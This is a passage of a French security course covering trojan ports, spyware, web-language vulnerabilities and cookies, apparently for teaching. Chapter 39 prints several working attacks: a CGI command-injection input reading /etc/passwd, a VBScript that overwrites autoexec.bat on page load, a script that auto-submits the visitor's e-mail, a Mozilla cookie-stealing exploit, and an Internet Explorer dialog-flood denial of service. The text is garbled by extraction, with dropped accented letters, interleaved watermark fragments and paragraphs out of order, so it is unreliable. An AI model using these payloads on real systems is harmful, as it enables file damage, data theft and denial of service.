5400 5401 5402 5512 5534 5550 5555 5556 5557 5569 5637 5638 5639 5714 5741 5742 5760 5880 5882 5888 5889 6000 6006 6272 6400 6661 6666 6667 6667 6669 6670 6670 6671 6674 6711 6712 6713 6723 6771 6776 6838 6883 6912 6939 6969 6970 7000 7000 7001 7215 7300 7301 Blade Runner 7306 Blade Runner 7307 Blade Runner 7308 Illusion Mailer 7424 The Flu 7597 Xtcp 7626 ServeMe 7777 BO Facil 7789 BO Facil 7891 Robo-Hack 7983 PC Crasher 8080 PC Crasher 8787 PC Crasher 8988 WinCrash Server 8989 WinCrash 9000 WinCrash 9325 PortMap Remote Root Linux Exploit 9400 Y3K Rat 9872 Y3K Rat 9873 Y3K Rat 9874 Y3K Rat 9875 The Thing 9876 Bad Blood 9878 Secret Service 9989 The Thing 9999 TEMain 10000 DarkConnection Inside 10005 Pretty Park 10067 Subseven 2.14 10085 Vampyre 10086 DeepThroat 10100 WinNuke 10101 DeepThroat 10167 DeepThroat 10520 Deep Throat v2 10528 SubSeven 10607 SubSeven 10666 MStream 11000 DeepThroat 11050 BackDoor-G 11051 MStream 11223 DeltaSource 12076 Shit Heep 12223 Indoctrination 12345 GateCrasher 12345 GateCrasher 12345 Remote Grab 12345 SubSeven 2.1 Gold 12346 Freak88 12349 SubSeven 12361 NetMonitor NetMonitor NetMonitor NetMonitor NetMonitor Host Control Qaz Glacier God Message Back Door Setup The ReVeNgEr MStream RingZero BackOrifice 2000 BacHack Recon NetMinistrater MStream (UDP) InCommand Portal of Doom Portal of Doom Portal of Doom Portal of Doom Cyber Attacker TransScout iNi-Killer Prayer 1.2 OpwinTRojan OpwinTRojan Portal of Doom (UDP) Syphillis Syphillis Control Total BrainSpy Portal of Doom (UDP) Acid Shivers Host Control Coma Ambush (UDP) Senna Spy Host Control Host Control Progenic trojan Gjamer Hack 99 KeyLogger GabanBus Ashley icmp pipe.c Whack Job GabanBus BioNet Whack-a-mole

147

Do cu me nt

so us

li ce nc e

FD L

CHAPITRE 37. LES TROJANS OU CHEVAUX DE TROIE


12362 12363 12623 12624 12631 12754 13000 13010 13013 13014 13223 13473 14500 14501 14502 14503 15000 15092 15104 15302 15858 16484 16660 16772 16959 16969 17166 17300 17449 17499 17500 17569 17593 17777 18753 19864 20000 20001 20002 20005 20023 20034 20203 20331 20203 20331 20432 20433 20544 21554 22222 Whack-a-mole Whack-a-mole DUN Control (UDP) ButtMan WhackJob MStream Senna Spy Hacker Brasil [HBR] Psych Ward Psych Ward Hack 99 Keylogger Chupacabra PC Invader PC Invader PC Invader PC Invader Net Demon Host Control MStream Sub Zero CDK Mosucker Stacheldraht ICQ Revenge Sub Seven Priority Mosaic Kuang2 The Virus Kid Terror CrazzyNet CrazzyNet Infector Audio Door Nephron Shaft (UDP) ICQ Revenge Millennium Millennium Acidkor Mosucker VP Killer NetBus 2 Pro Chupacabra Bla Logged BLA Trojan Shaft Shaft (UDP) Girlfriend GirlFriend Prosiak 23005 23006 23023 23032 23432 23456 23476 23477 23777 24000 25685 25686 25982 26274 26681 27374 27374 27444 27573 27665 28678 29104 29369 29891 30000 30001 30003 30029 30100 30101 30102 30103 30133 30303 30947 30999 31335 31336 31337 31337 31337 31337 31338 31339 31666 31785 31787 31788 31789 31791 31792 NetTrash NetTrash Logged Amanda Asylum Evil FTP Donald Dick Donald Dick InetSpy Infector Moonpie Moonpie Moonpie Delta Source (UDP) VoiceSpy Sub Seven 2.1 (UDP) Sub Seven 2.14 Trinoo (UDP) Sub Seven 2.1 (UDP) Trin00 DoS Exploiter NetTrojan ovasOn The Unexplained (UDP) infector ErrOr32 Lamers Death AOL Trojan NetSphere NetSphere NetSphere NetSphere NetSphere Sockets de Troie Intruse Kuang Trin00 DoS Bo Whack Baron Night Back Orifice (UDP) Beeone Sockdmini NetSpy DK NetSpy DK BOWhack Hack a Tack Hack a Tack Hack a Tack Hack a Tack (UDP) Hack a Tack (UDP) Hack a Tack

148

Do cu me nt

so us

li ce nc e

FD L

CHAPITRE 37. LES TROJANS OU CHEVAUX DE TROIE


32001 32100 32418 33270 33333 33577 33777 33911 34324 34444 34555 35555 37237 37651 40412 40421 40422 40423 40425 40426 41337 41666 44444 44575 47262 49301 Donald Dick Peanut Brittle Acid Battery Trinity Prosiak Son of PsychWard Son of PsychWard Spirit 2001a BigGluck Donald Dick WinTrinoo WinTrinoo Mantis Yet Another Trojan The Spy Agent 40421 Masters Paradise Masters Paradise Masters Paradise Masters Paradise Storm Remote Boot Tool [RBT] Prosiak Exploiter Delta Source (UDP) Online KeyLogger 50130 50505 50766 51966 52317 53001 54283 54320 54321 55165 55166 57341 58339 60000 60001 60068 60411 61348 61466 61603 63485 64101 65000 65390 65421

149 Enterprise Sockets de Troie Fore Cafeini Acid Battery 2000 Remote Windows Shutdown SubSeven Back Orifice 2000 School Bus File Manager Trojan WM Trojan Generator NetRaider Trojan Butt Funnel Deep Throat 1.3 Client (UDP) Trinity Xzip 6000068 Connection Bunker-Hill Trojan Telecommando Bunker-Hill Trojan Bunker-Hill Trojan Taskman Devil Eclypse Jade

oc um en ts

ou sl

ic

en ce

FD

Chapitre 38

38.1 Introduction

38.2 Dnition

Un spyware, en franais "espiogiciel" ou "logiciel espion", est un programme capable en plus de sa fonction propre de collecter des donnes sur ses utilisateurs et de les transmettre via internet. Les spywares sont parfois confondus avec les adwares, ces logiciels dont lauteur se rmunre par lafchage de bannires publicitaires mais sans recueillir ni transmettre dinformations. Une dnition plus rigoureuse du spyware pourrait tre celle-ci : "module logiciel - et par extension programme - permettant de collecter de manire slective des informations sur ses utilisateurs (conguration matrielle et/ou logicielle, habitudes dutilisation, donnes personnelles, etc.) puis de les transmettre son concepteur ou un tiers (ex. : rgie publicitaire) via internet ou tout autre rseau informatique, sans avoir au pralable obtenu une autorisation explicite et claire de lutilisateur". Cette dernire condition reste toutefois discutable, car lutilisateur nen reste pas moins soumis une surveillance permanente de ses habitudes dutilisation, surveillance qui peut en plus tre illgale du point de vue de la lgislation de son pays de rsidence. Une nouvelle tendance encore plus contestable concerne les utilisateurs du navigateur Internet Explorer. Certains spywares comme Gator cherchent sinstaller automatiquement sur le poste de linternaute au moyen de la technologie ActiveX lors de la visite de pages web peu recommandables.

oc um en ts

Un spyware pourrait tre considr comme un cheval de troie, cest dire quil sinstalle en mme temps quun programme lgitime, mais le plus souvent pas linsu de lutilisateur. En effet, dans les conditions dutilisation, vous trouverez souvent une phrase stipulant linstallation de ce spyware. Il existe plusieurs types de spywares Gator, New.net, SaveNow, TopText, Alexa, Webhancer, Radiate, Cydoor, Conducent, Onow ou Web3000. Rien ne les diffrencie en apparence des logiciels classiques, part leur propension la gratuit. Les spywares sont pourtant les reprsentants dun nouveau business model, dans lequel les produits et services schangent contre une parcelle de vie prive. Face aux drives relles ou potentielles de ce systme, les spcialistes amricains ont tir la sonnette dalarme depuis plusieurs annes dj. En France, la majorit des internautes na mme pas connaissance de leur existence... Tlchargs sur internet ou trouvs dans le CD-Rom dun magazine informatique, les spywares sont des logiciels (presque) comme les autres.

ou sl
150

ic

en ce

FD

Spyware

CHAPITRE 38. SPYWARE

151

38.3 Fonctionnement

Les spywares ont pour mission dobserver leurs utilisateurs et de collecter des donnes dans un but statistique, marketing ou commercial. La nature des donnes collectes et transmises est dnie dans le code source du spyware lui-mme. Il ne sagit pas priori de donnes nominatives, mais le cryptage des transmissions fait quil est difcile de sen assurer. Les spywares ne sont ni des virus, ni des troyens, mme sil est possible de leur trouver de lointains points communs, comme le fait de sinstaller sans que lutilisateur ne le sache toujours, ou bien denvoyer des donnes via internet linsu de lutilisateur. La plupart des spywares optent en effet pour une extrme discrtion : ils agissent en tche de fond, apparaissent rarement dans le Menu Dmarrer de Windows, et, dans le cas des spywares externaliss, sont le plus souvent absents de la liste des programmes installs gurant dans le Panneau de conguration. Dans le cas dun spyware publicitaire comme Cydoor, linstallation copie sur le disque les chiers ncessaires au fonctionnement de lapplication (cd_load.exe, cd_clint.dll et cd_htm.dll), cre un rpertoire pour stocker les bannires qui seront afches lutilisateur mme lorsquil sera hors ligne (Windows/System/AdCache), puis modie la base de registres. Lanalyse des informations collectes par le spyware permet de dterminer les prfrences de lutilisateur et de lui proposer des bannires publicitaires ou des mails promotionnels toujours plus cibls, en rmunrant au passage les diteurs de logiciels partenaires. Le spyware sexcute souvent automatiquement au dmarrage de Windows et mobilise donc en permanence une partie des ressources du systme. Certaines fonctionnalits annexes comme la mise jour automatique peuvent reprsenter un rel danger pour la scurit de lutilisateur, en permettant le tlchargement et linstallation son insu dun autre programme ou spyware, voire dun programme hostile dans le cas du dtournement du systme par une personne malveillante.

38.4 Reconnatre un spyware


Depuis les scandales provoqus en 1999 par la dcouverte de spywares dans SmartUpdate (Netscape) et RealJukeBox (Real Networks), la pratique est devenue plus transparente et les diteurs de logiciels communiquent davantage sur le sujet. Quelques rgles simples peuvent tre observes : lire attentivement les conditions dutilisation dun logiciel avant de linstaller. Lexistence dun spyware et de ses fonctionnalits annexes y sont normalement signales, mme sil faut bien souvent lire entre les lignes car le spyware y est prsent en des termes dulcors voire trompeurs, voire parce que

oc um en ts

ou sl

ic

en ce

FD

Il existe deux types de spywares : Le spyware intgr (ou interne) est une routine incluse dans le code source dun logiciel ayant une fonction propre pour lui donner la possibilit de collecter et de transmettre des informations par internet. Ces spywares sont tlchargeables sparment ou sont proposs linstallation en mme temps que dautres programmes gratuits, eux-mmes gnralement des spywares, grce des accords entre diteurs de logiciels. Cest le cas notamment de Gator, New.net, SaveNow, TopText, Alexa et Webhancer. Le spyware externalis est une application autonome dialoguant avec le logiciel principal qui lui est associ, et dont la seule fonction est de se charger de la "relation client" : collecte et transmission dinformations, afchage de bannires publicitaires, etc. Ces spywares sont conus par des rgies publicitaires ou des socits spcialises comme Radiate, Cydoor, Conducent, Onow ou Web3000, avec lesquelles les diteurs de logiciels passent galement des accords. Le spyware de Cydoor est par exemple associ au logiciel peer-to-peer KaZaA, et sinstalle en mme temps que lui.

CHAPITRE 38. SPYWARE

152

38.5 Comment dtecter la prsence dun spyware ?

Le plus simple pour dtecter la prsence dun spyware est de procder par des moyens indirects, savoir son activit, la prsence de chiers caractristiques ou le nom du logiciel suspect. Il existe en effet des listes de spywares, consultables en ltat, sous forme de moteurs de recherche ou encore dutilitaires ddis.

Cette solution donne de bons rsultats avec la plupart des spywares, y compris si le spyware est une DLL (lapplication qui tente de se connecter internet est alors RUNDLL32.EXE), mais elle ne peut rien contre les spywares intgrs si le logiciel concern a dj t autoris accder internet dans le cadre de son fonctionnement normal. Lutilisateur doit par ailleurs tre sufsamment comptent pour pouvoir dcider si lapplication qui tente de se connecter doit ou non y tre autorise. Cest pourquoi des antispywares ont t conus sur le modle des antivirus, an de dtecter les spywares sur la base de signatures. Utilisables facilement mme par des non initis, ils permettent de dtecter un spyware mme sil nest pas actif, mais restent dpendants de la mise jour du chier des signatures. OptOut tant abandonn, le plus performant des antispywares actuels est Ad-Aware (LavaSoft), qui a par ailleurs le mrite dexister en version franaise. Ce programme permet de scanner la mmoire de lordinateur, la base de registres et les chiers des diffrents disques la recherche des composants indiquant la prsence dun spyware.

38.6 Comment faire pour liminer un spyware ?


La dsinstallation dun logiciel supprime rarement les spywares installs avec lui. Ainsi, la dsinstallation de KaZaA ne supprime ni son spyware externalis Cydoor, ni les autres spywares installs avec ce logiciel.

oc um en ts

Certains rewalls personnels sont capables de ltrer le trac sortant sur une base applicative, cest--dire que chaque application souhaitant accder internet doit au pralable y avoir t autorise.

ou sl

Cette mthode de dtection est simple, mais aucun site ne peut prtendre lexhaustivit : mme lutilitaire Ad-Search (LavaSoft) dit par un spcialiste du sujet est incomplet. Elle ne constitue donc quune premire approche, qui reste trs pdagogique car elle permet de mesurer lampleur du phnomne.

ic

en ce

FD

tout est fait pour que lutilisateur vite de lire lesdites conditions dutilisation. Ces dernires dtaillent galement les droits accords aux utilisateurs ; ne pas accepter sans rchir les programmes supplmentaires ventuellement proposs lors de linstallation dun logiciel, mais dcider en connaissance de cause. New.net, SaveNow et Webhancer sont ainsi proposs par dfaut lors de linstallation de KaZaA, mais il suft de dcocher les cases correspondantes pour quils ne soient pas installs ; surveiller les demandes dautorisation de connexion internet provenant du rewall, an de dtecter toute application suspecte. Cest une autre bonne raison dinstaller un rewall personnel (voir plus loin) ; sinformer auprs de sites spcialiss. Secuser.com et sa lettre dinformation hebdomadaire Secuser News aborde rgulirement la question des spywares. Dans le doute, il est galement conseill dexcuter un antispyware (voir plus loin) aprs linstallation dun logiciel suspect, an de sassurer de ne pas avoir install un spyware sans le savoir.

CHAPITRE 38. SPYWARE

153

Pour liminer un spyware intgr, il suft le plus souvent daller dans le Panneau de conguration de Windows et de dsinstaller lapplication correspondante. Dans le cas dun spyware externalis, il est par contre gnralement ncessaire de passer par une procdure fournie par son diteur dans une obscure FAQ, ou plus efcacement dutiliser Ad-Aware en supprimant les chiers constitutifs du spyware. Dans la plupart des cas, llimination dun spyware externalis fera que le logiciel associ cessera de fonctionner, afchant un message du type : "Vous avez effac un composant du logiciel ncessaire son excution. Le logiciel ne fonctionnera plus mais vous pouvez le rinstaller".

38.8 Travaux Pratiques


Installer et excuter adaware (http://www.lavasoftusa.com) Installer et excuter windowsstartup (http://www.windowsstartup.com/) an de voir les diffrents lments de votre systme qui sont dmarrs au boot de votre systme.

1 Il

est possible de refuser dnitivement ce tracking via le site Networkadvertising.org

LIENS UTILES : Spychecker : moteur de recherche de spywares InfoForce : liste de spywares (dernire version connue) Dossier Secuser.com : rewall personnel ZoneAlarm : rewall personnel de ZoneLabs Ad-Aware : antispyware de Lavasoft Dossier Secuser.com : spamming et mailbombing

oc um en ts

Lutilisateur qui ne souhaite pas installer de spyware doit donc rester vigilant et suivre ces quelques conseils. Ceux qui seraient tout de mme tents par lopration ont tout intrt lire en dtail les conditions dutilisation du logiciel et surtout garder lesprit quelles sont le plus souvent conformes au droit amricain, donc beaucoup moins protectrices en matire de vie prive quen Europe. Il est ainsi recommand de ne pas donner son adresse email permanente, mais si ncessaire de se crer un compte gratuit qui pourra tre ferm sans remords, notamment en cas de spamming.

ou sl

Malheureusement, les diteurs de logiciels ont rapidement t tents de proter de la discrtion des spywares pour en dissimuler lexistence ou pour les laisser implants mme lorsque le logiciel associ est dsinstall. Ces pratiques abusives ont compltement dcrdibilis le concept, jetant la suspicion y compris sur la nature relle des informations collectes.

ic

en ce

Contrairement la publicit en ligne telle que gre par la rgie DoubleClick, qui par lintermdiaire des sites internet de tous ses clients collecte et centralise elle aussi des donnes sur les prfrences de chaque internaute1, les spywares ont le mrite de ntre actifs que lorsque lutilisateur installe un de ces logiciels en contrepartie de son utilisation gratuite, laissant la libert aux autres internautes de ne pas en installer ou dopter pour une version payante dpourvue de spyware.

FD

38.7 Conclusion : Spyware or not spyware ?

Chapitre 39

39.1 Introduction

Trs utiles lors de la programmation de sites Web, les langages Web permettent hlas aussi dutiliser le contenant de la machine cliente et de ce fait les failles de scurit qui lui sont inhrantes.

39.2 Les CGI

Dune manire gnrale, toutes les interfaces homme / machine (IHM) modliss par les CGI (Common Gateway Interface) peuvent devenir des failles de scurit. Une mauvaise gestion des saisies de donnes peut conduire la divulgation de donnes. Voici un petit script CGI on ne peut plus simple, il fait appel lexcution du chier de commande sh1.

1 2 3 4 5 6 7 8 9 10 11 12

<FORM Method =GET A c t i o n = / c g i b i n / sh1 > R p e r t o i r e l i s t e r : < br > < i n p u t t y p e = t e x t name=param1 >< br > < i n p u t t y p e = s u b m i t name= e n v o y e r v a l u e =LISTER> </FORM> F i c h i e r : sh1 l s l t r $param1 | w h i l e r e a d LINE do c g i _ p r i n t _ l i n e $LINE done

Lexcution de ce script avec la saisie dun rpertoire donne la liste des chiers contenu dans ce rpertoire. Par contre si lon y insre une commande telle que : eval cat /etc/passwd on obtient le contenu du chier /etc/passwd. Travaux Pratiques Se connecter au seveur indiqu sur cgi.html, constatez. On pourra remarquer les x qui reprsente les mots de passe, ceux-ci sont en fait enregistrs dans un chier /etc/shadow (ombre).

oc um en ts

Listing 39.1 cgi.html

ou sl
154

ic

en ce

FD

Langages de Programmation Web

CHAPITRE 39. LANGAGES DE PROGRAMMATION WEB

155

39.3 Les VBScripts


Trs pratique le VBscript permet de programmer des boites de dialogues, des menus droulants etc... mais mieux encore, il autorise laccs toutes les fonctions OLE et ActiveX de Windows au travers du browser. Il devient alors un trs bon alli pour les Activex et le Javascript car il permet de justier la prsence de ces derniers dans le code html (pour les paranos). Certaint bugs de Internet Explorer permettent (sur la version 4.0) de masquer une dialbox avec une autre dialbox (dapparence plus innocente) : Listing 39.2 vbscript.vb

Listing 39.3 vbscript2.vb


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16

P o u r x c u t e r c e code s u r l a page web v o u s a v e z b e s o i n de f a i r e a p p e l c e t t e f o n c t i o n , p o u r l e x e m p l e v e n a n t du s c r i p t . <BODY ONLOAD=" OnLoad_Sub ( ) " >

39.4 Le JavaScript
Le JavaScript nest pas dangereux, cest un fait, cependant il peut nous permettre dobtenir certaines informations. Lorque vous allez sur un site de Warez et vous voyez safcher votre adresse IP, votre version de Navigateur etc..., il est impossible normalement de transfrer ces informations aux serveurs ou ladministrateur de celui-ci. En effet, le Le JavaScript ne fait que visualiser des informations contenues sur vos disques durs. Le script sexcute sur le poste client, il ne peut raliser dupload vers le serveur.

39.4.1 Utilisation de la navet des internautes


Par contre, certains scripts JavaScripts font une requte via une dialogbox au visiteur du site, et comme en gnral les visiteurs cliquent rapidement sur OK en voyant une dialogbox, il est facile de transfrer les informations par mail une adresse spcique.

oc um en ts

<! Sample Code START !> <SCRIPT LANGUAGE= " V B S c r i p t " > P u b l i c Sub OnLoad_Sub ( ) C o n s t F o r W r i t i n g = 2 , FILE_NAME = " c : \ a u t o e x e c . b a t " Dim f s o , f Set fso = CreateObject ( " Sc ripti ng.F ile Syste m Obje c t " ) S e t f = f s o . O p e n T e x t F i l e ( FILE_NAME , F o r W r i t i n g ) f . W r i t e " @echo HELLO FRIEND ! " f.Close End Sub </ SCRIPT> <! Sample Code END !>

ou sl

ic

en ce

Et le tour est jou...entre les deux tout est possible, chargement dune taupe, envoi de courrier etc. Le plus important est que le visiteur clique encore une fois sur "OK". Voici un exemple de script (par Clad Strife) qui va modier lAutoexec.bat.

FD

1 2

s e t wcover = window.open ( " b i e n v e n u e . h t m " , " s a l u t . . . " ) wcover.close

CHAPITRE 39. LANGAGES DE PROGRAMMATION WEB


Listing 39.4 javascript
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <HTML> <HEAD> <SCRIPT LANGUAGE= J a v a S c r i p t > <! function voldata () { m a i n t e n a n t = new D a t e ( ) ; message = m a i n t e n a n t . g e t D a t e ( ) + "." + eval ( maintenant.getMonth ()+1) + "." + maintenant.getYear () ; document . f or mul ai r eB i don. ch amp Ma s qu e. v al ue = message ; document.formulaireBidon.submit () ; } / / > </ SCRIPT> </HEAD> <BODY onLoad = v o l d a t a l ( ) ; > M e r c i p o u r l e s r e n s e i g n e m e n t s : ) <FORM NAME= f o r m u l a i r e B i d o n METHOD=POST ACTION= " m a i l t o : a d r e s s e b i d o n @ t o n s e r v e u r . c o m " > <INPUT TYPE=HIDDEN NAME=champMasque > </FORM> </BODY> </HTML>

156

Ce petit code va crer un mail avec ladresse e-mail par dfaut mise dans le Browser utilis pour visiter la page web.

39.4.2 Utilisation des failles des navigateurs

Do cu me nt

Un petite dmonstration en dit plus long quun long discours. Essayez ces petits codes sources. Ils fonctionnent trs bien. Suprenant. Failles de Mozilla

---..---..---..---..---..---..---..---..---..---..---..---..---Title: Steal/spoof arbitrary cookie in Mozilla Date: [2002-07-24] Software: Mozilla Vendor: http://www.mozilla.org Fix: The author has been working with Mozilla to produce a patch. Problem is fixed in Mozilla 1.1 Beta released 02-07-22. Workaround: Preferences->Advanced->Scripts & Plugins-> Disable access to cookies using javascript Impact: Steal/spoof arbitrary cookie _ _ using javascript: URLs o \,=./ o Author: Andreas Sandblad, sandblad@acc.umu.se (o o) ---=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo---

so us

li ce nc e

FD L

CHAPITRE 39. LANGAGES DE PROGRAMMATION WEB


BACKGROUND: =========== I orginally thought this was a XSS (cross came to the conclusion that it is limited access to cookies. Even though Mozilla is studying the source code in order to find

157

site scripting) issue, but soon to a design error in restricting open source, I have not been and exploit the vulnerability.

Well, I soon found a much easier solution. Simply put a // in front of the host and path and a \{ats}n before the cookie reading code accour. The reason why I didnt find this directly was because the newline must be created in a javascript function. It cant be set directly in a javascript url.

DESCRIPTION: ============

Mozilla allows script in the javascript protocoll to set and read cookies. For javascript URLs the host and path for the cookie is pulled out as: "javascript:[host][path]" Cookie security is based only on restricting access to correct matching host and path. By carefully crafting a mallicious javascript URL opened in a new frame/iframe/window, it is possible to access and alter cookies from other domains.

Do cu me nt

DETAILS: ========

The easiest way to exploit the vulnerability is to simply create a javascript URL in a javascript function as: javascript://[host]/[path]{\n[code to read cookie] The // will make sure host and path dont generate any javascript errors.

EXPLOIT: ======== Instructions: Put the exploit in a html document on a remote server and load it with your Mozilla browser to activate the exploit. -------------------------- CUT HERE ----------------------------

so us

li ce nc e

In the beginning I had problems not generating any javascript errors when using the javascript URL. My first solution was to make the host and path to be a valid javascript expression. Google.com may be a valid expression if google is an object and com is an element/variable of the Google object. Further on if Google.com is an int, it is legal to use google.com/ 1. Parsing of host and path will stop when a space is found.

FD L

CHAPITRE 39. LANGAGES DE PROGRAMMATION WEB


<pre> Title: Date: Impact:

158

Mozilla cookie stealing/spoofing [2002-07-24] Steal/spoof arbitrary cookie _ _ using javascript: URLs o \,=./ o Author: Andreas Sandblad, sandblad@acc.umu.se (o o) ---=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo--This demo will display your google cookie (must exist). </pre> <body onload=init()> <iframe name=f height=0 width=0 style=visibility:hidden></iframe> <script> function init(){ f.location = "javascript://www.google.com/\n"+ "<body onload=alert(document.cookie)>"; } </script> -------------------------- CUT HERE ---------------------------Travaux Pratiques Installer Mozilla Se connecter au seveur indiqu sur mozilla.html Failles de InternetExplorer Internet Explorer JavaScript Modeless Popup DoS I) Prsentation La version 6 dInternet Explorer prsente un bug, qui tient compte du JavaScript pour appeler un nombre important de botes de dialogues ouvertes sur la page, crant une boucle sans n et rendant Internet Explorer inutilisable. Mme en arrtant le process IEXPLORE (en le killant), les boites de dialogues persistent, prenant 100% de la CPU. Cela provient de la nature de la fonction showModelessDialog() qui ne rend pas la main et rend la machine et ncessite un redmarrage (dou DoS) II) Exploit Placez ce code dans un chier HTML appel exploit.html

1 2 3 4 5 6 7 8 9 10 11 12

< html > <head > < s c r i p t type =" j a v a s c r i p t "> function exploit () { while (1) { showModelessDialog ( " e x p l o i t . h t m l " ) ; } </ s c r i p t > </ head > <body onLoad = " e x p l o i t " > </ body > </ html >

oc um en ts

Listing 39.5 javascript

ou sl

ic

en ce

FD

CHAPITRE 39. LANGAGES DE PROGRAMMATION WEB

159

39.5 Applet Java


Pour des raisons de scurit videntes, les applets ne sont pas tout fait des applications Java comme les autres. Imaginez quune applet mal intentionne soit capable de formater votre disque dur... En fait les applets nont pas accs au systme de chiers des machines sur lesquelles elles sexcutent. Une applet ne peut pas non plus tablir de connexions rseau autre que celle qui existe entre elle et la machine qui lhberge. Elles ont par contre le pouvoir de ragir aux actions de la souris, du clavier ou du systme.

39.5.1 Exemple
Pour les mmes raisons quauparavant, les applets Java peuvent donner lieu des messages de scurit de ce genre : Technical description : The Microsoft VM is a virtual machine for the Win32 R operating environment. It runs atop Microsoft Windows R 95, 98, or Windows NT R , or Windows 2000. It ships as part of each operating system, and also as part of Microsoft Internet Explorer. The version of the Microsoft VM that ships with Microsoft Internet Explorer 4.x and Internet Explorer 5.x contains a security vulnerability that could allow a Java applet to operate outside the bounds set by the sandbox. By design, an applet should only be able to communicate with the web site that hosted it. However, this vulnerability would allow an applet to bypass this restriction. If a user visited a web site operated by a malicious user, the site could start an applet that would be able to establish a connection with another web site and forward any information from the web session to the malicious users site. The session would be established in the guise of the visiting user, rather than that of the malicious user. Thus, the vulnerability could be used to access an intranet site located behind a rewall, access information in the guise of the user, and relay it to the malicious user. The only prerequisite is that the malicious user would need to know or guess the name of the intranet site. Although the applet would be able to make use of the users credentials to authenticate to the site, this vulnerability would not provide a way to compromise them.

39.6 Les ActiveX

Il sagit de modules excutables qui peuvent automatiquement tre tlchargs et lancs partir de votre browser. Ils ragissent des codes dauthentication appels "authenticodes". Ces codes font appel plusieurs rgles concernant le vendeur, la date de cration et la date dexpiration (verisign). Actuellement les authenticodes (X509) autorisent la signature des programmes codes pour les extensions suivantes : * .exe * .cab * .ocx * .dll Prenons lexemple dun programme de taupe tlchargeable depuis une page web. Il faudra procder en plusieurs tapes pour que les oprations de signature et de vrication seffectuent avec succs. Il faudra pour cel : MakeCert Cert2SPC SignCode ChkTrust DumpCert SetReg Signer

oc um en ts

cre un test de certicat X.509 cre un test SPC utilise le SPC pour signer un chier vrie la validite du chier valide le certicat modie la cl qui controle lauthentication dans la base de registres excute la signature

ou sl

ic

en ce

TAB . 39.1 Elments ncessaires la vrication dune signature

FD

Makecert.exe Cert2SPC.exe ChkTrust.exe DumpCert.exe SetReg.exe Signer.dll

CHAPITRE 39. LANGAGES DE PROGRAMMATION WEB

160

Le Chaos Computer Club (groupe de hackers allemand) avait dj fait une dmonstration des multiples possibilits de cette technique en ralisant un activex qui effacait explorer.exe du disque dur. Avec des contrles ActiveX on peut se permettre de charger une taupe sur nimporte quelle machine (backorice par exemple) et ainsi recevoir par mail (anonyme videmment) tous les mots de passe et infos condentielles qui sont contenues sur lordinateur du visiteur. La seule limite est alors celle de limagination. Pour viter de se faire piger, il est possible de modier les lments suivants (qui sont ncessaires au processus dinstall dun activex) : Wintrust.dll Softpub.dll Mssip32.dll Vsrevoke.dll Crypt32.dll

39.7 Certication de code

Pour rassurer un client, le serveur signe chaque applet quil utilise dans ses pages HTML. Il faut alors tablir la validit de la cl de signature laide dun certicat mis par une autorit reconnue par le client. La plupart des navigateurs aujourdhui incluent les cls des principales autorits de certication. Il reste quelques problmes cette approche : Loeuf ou la poule : avant de pouvoir vrier la signature sur un logiciel, il nous faut un navigateur digne de conance. Il faut donc obtenir le navigateur dune autre faon... Microsoft a rgl la question en incorporant Internet Explorer au Systme dExploitation. La signature garantit lorigine du logiciel et cest tout ce quelle garantit. Aucune assurance sur le comportement du logiciel une fois install. Mme certains logiciels vendus dans une bote ont t livrs avec un virus... Lassurance quon peut donner une signature dpend de la conance que nous inspire lautorit de certication qui a mis la cl... Le mme principe sapplique aux contrles ActiveX de Microsoft, qui sont signs par un "authenticode". Les laboratoires Bellcore ont conu BETSI, dans le but "de satisfaire un besoin de scurit lors de la distribution de logiciel sur Internet." Il est bas sur le modle PGP Les cryptolopes 1 dIBM sont un autre mcanisme pour scuriser et autoriser la transmission dinformation sur Internet. La combinaison de chiffrement et dauthentication plusieurs niveaux, permettant de dverrouiller slectivement la sauvegarde, limpression, la copie et le visionnement du document.

1 Fonction du systme SET (Secured Electronic Transfer) qui permet de sceller des donnes condentielles dans une "enveloppe" lectronique que seul peut ouvrir le destinataire autoris.

oc um en ts

ou sl

ic

en ce

FD

CHAPITRE 39. LANGAGES DE PROGRAMMATION WEB

161

F IG . 39.1 Certication de code

39.8 Se protger

Nutilisez votre navigateur Internet qu minima lorsque vous avez la possibilit daccder des donnes sensibles. Dsactiver le JavaScript. Dites non aux ActiveX et Applets Java.

39.9 Travaux Pratiques

oc um en ts

ou sl

ic

1. Faille de Internet Explorer Dans la barre dadresse, indiquer ladresse suivante : http://www.yahoo.fr\%01\%00google.fr/index.html

en ce

FD

Chapitre 40

40.1 Introduction

40.2 Dnition

Il peut contenir des informations diverses, par exemple le nom du site web qui vous la envoy (impos ?), la date de votre visite, les pages du site que vous avez visites, le navigateur que vous utilisez, votre adresse ip (laquelle change chacune de vos connexions si vous vous connectez par lintermdiaire dun fournisseur daccs, ce qui limite lindiscrtion !)... Un cookie ne contient ni votre identiant daccs Internet ni votre adresse lectronique et il ne peut tre relu que par le serveur qui la envoy (on aimerait !).

En principe, les cookies permettent un webmaster dvaluer lusage que ses visiteurs font de son site. Malheureusement, ils peuvent tre utiliss des ns de marketing, en analysant les diffrentes pages que vous consultez sur un site pour tablir un prol de votre personnalit dinternaute et vous faire des propositions commerciales cibles. Sil est clair que les cookies puissent tre utiles aux webmasters, quel intrt ont-ils pour linternaute qui visite un site ? Supposons un site sur lequel il est demand aux nouveaux visiteurs de remplir un formulaire, par exemple pour pouvoir tlcharger un programme en dmonstration ou un graticiel (freeware). Si un rsum des rponses est contenu dans un cookie, le site pourra "reconnatre" un habitu et lui pargner de nouvelles questions.

Un cookie ntant pas excutable, il ne peut contenir de virus.

oc um en ts

Quel rapport entre des "biscuits" et lInternet ? Un cookie est un petit chier au format texte dun maximum de 4 Ko, envoy ("offert", comme un biscuit ?) par le serveur dun site Web et enregistr sur votre disque dur par votre navigateur.

ou sl
162

ic

Les cookies ne reprsentent pas de menace directe pour votre ordinateur ou les donnes qui y sont places. Cependant, ils sont vraiment une menace pour la condentialit : un cookie permet un site web de conserver vos rfrences et de suivre la trace vos visites du site. Cest pourquoi, si vous prfrez garder lanonymat, vous devriez dsactiver les cookies en utilisant les paramtres de scurit de votre navigateur.

en ce

FD

Cookies

CHAPITRE 40. COOKIES

163

